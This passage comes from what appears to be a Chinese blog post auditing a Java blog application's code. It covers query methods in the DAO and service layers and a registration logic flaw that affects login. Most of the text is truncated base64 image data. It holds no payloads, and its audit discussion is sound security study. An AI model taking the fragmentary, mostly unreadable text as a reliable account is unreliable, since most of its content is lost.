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 truncated
对应的dao<br>
<a id=img6 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707815856162-d133582f-99eb-4f8a-8794-5f73b69c57b3.png#averageHue=%2327343c&amp;clientId=u7eb54710-2f09-4&amp;from=paste&amp;height=36&amp;id=u27f436ab&amp;originHeight=54&amp;originWidth=660&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=9662&amp;status=done&amp;style=none&amp;taskId=u00757f9d-8fd9-4671-ae3a-9fc112cfbca&amp;title=&amp;width=440"><img src="data:image/png;base64,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 truncated
对应的service<br>
<a id=img7 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707816002987-5e3ff27c-398f-4989-b056-5072015c3f2a.png#averageHue=%23212327&amp;clientId=u7eb54710-2f09-4&amp;from=paste&amp;height=260&amp;id=ued5d3310&amp;originHeight=390&amp;originWidth=850&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=43598&amp;status=done&amp;style=none&amp;taskId=u9b2ecb34-8443-4e19-a200-af3bca3c5c6&amp;title=&amp;width=566.6666666666666"><img src="data:image/png;base64,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 truncated
但是经过查看代码,这种<code>xxxByExample</code>都是不可控的。细看这个service都是传入<code>themeName</code>到那时传入<code>selectByExample</code>的是<code>themeExample</code></p>
<h1 id=toc-1>网站注册处逻辑处理错误导致用户登录异常</h1>
<p>此blog在第一次使用的时候会出现用户注册的情况<br>
<a id=img8 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707817734764-b83c0660-9a64-44c7-ae0b-7c3398ac0009.png#averageHue=%23e9eef4&amp;clientId=u7eb54710-2f09-4&amp;from=paste&amp;height=341&amp;id=ua1fd012d&amp;originHeight=511&amp;originWidth=1335&amp;originalType=binary&amp;ratio=1.5&amp;rotation=0&amp;showTitle=false&amp;size=90936&amp;status=done&amp;style=none&amp;taskId=uee2d5016-3bdc-46ee-a73f-944aaab2daf&amp;title=&amp;width=890"><img src=data:image/png;base64,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